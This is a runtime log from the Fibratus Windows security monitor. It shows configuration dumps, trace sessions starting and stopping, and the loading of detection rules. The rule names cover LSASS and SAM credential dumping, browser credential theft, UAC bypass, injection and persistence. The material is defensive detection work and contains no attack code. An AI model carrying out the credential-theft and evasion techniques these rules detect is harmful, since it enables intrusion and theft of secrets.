HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:10:12+01:00 level=info msg=bootstrapping with pid 10436. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:10:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false port=>25 content-type=>text/html to=>[] use-template=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false max-buffers=>36 enable-threadpool=>false enable-dns=>false enable-image=>true buffer-size=>512 enable-thread=>true enable-registry=>true enable-net=>true min-buffers=>16 enable-vamap=>true enable-audit-api=>true flush-interval=>1s enable-fileio=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 max-age=>0 level=>info log-stdout=>true max-backups=>15] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false] http=>[ tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] method=>POST timeout=>5s enabled=>false serializer=>json] amqp=>[ passive=>false url=>amqp://localhost:5672 vhost=>/ routing-key=>fibratus timeout=>5s delivery-mode=>transient exchange=>fibratus durable=>false enabled=>false tls-insecure-skip-verify=>false exchange-type=>topic] elasticsearch=>[ healthcheck-interval=>10s trace-log=>false template-name=>fibratus index-name=>fibratus flush-period=>1s sniff=>false healthcheck-timeout=>5s bulk-workers=>1 enabled=>false timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true gzip-compression=>false]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-registry=>false skip-allocs=>false enabled=>false skip-files=>false excluded-files=>[] excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:10:12+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:10:14+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:10:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:10:35+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:10:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:11:17+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:11:17+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:11:17+01:00 level=info msg=bootstrapping with pid 18828. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:11:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ use-template=>true port=>25 to=>[] content-type=>text/html enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true enable-vamap=>true flush-interval=>1s enable-net=>true enable-audit-api=>true enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 max-buffers=>36 enable-threadpool=>false min-buffers=>16 enable-fileio=>true enable-mem=>false enable-handle=>false enable-dns=>false stack-enrichment=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-backups=>15 formatter=>text max-age=>0 level=>info max-size=>100] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false] amqp=>[ delivery-mode=>transient url=>amqp://localhost:5672 durable=>false passive=>false enabled=>false exchange=>fibratus tls-insecure-skip-verify=>false timeout=>5s vhost=>/ routing-key=>fibratus exchange-type=>topic] http=>[ enabled=>false serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] method=>POST timeout=>5s] elasticsearch=>[ flush-period=>1s bulk-workers=>1 healthcheck-interval=>10s trace-log=>false servers=>[http://127.0.0.1:9200] sniff=>false template-name=>fibratus gzip-compression=>false timeout=>5s healthcheck=>true index-name=>fibratus enabled=>false healthcheck-timeout=>5s]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] fastscan=>true scan-timeout=>10s skip-files=>false enabled=>false excluded-procs=>[] skip-allocs=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:11:17+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:11:20+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:11:47+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:11:47+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:11:47+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:11:50+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:11:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 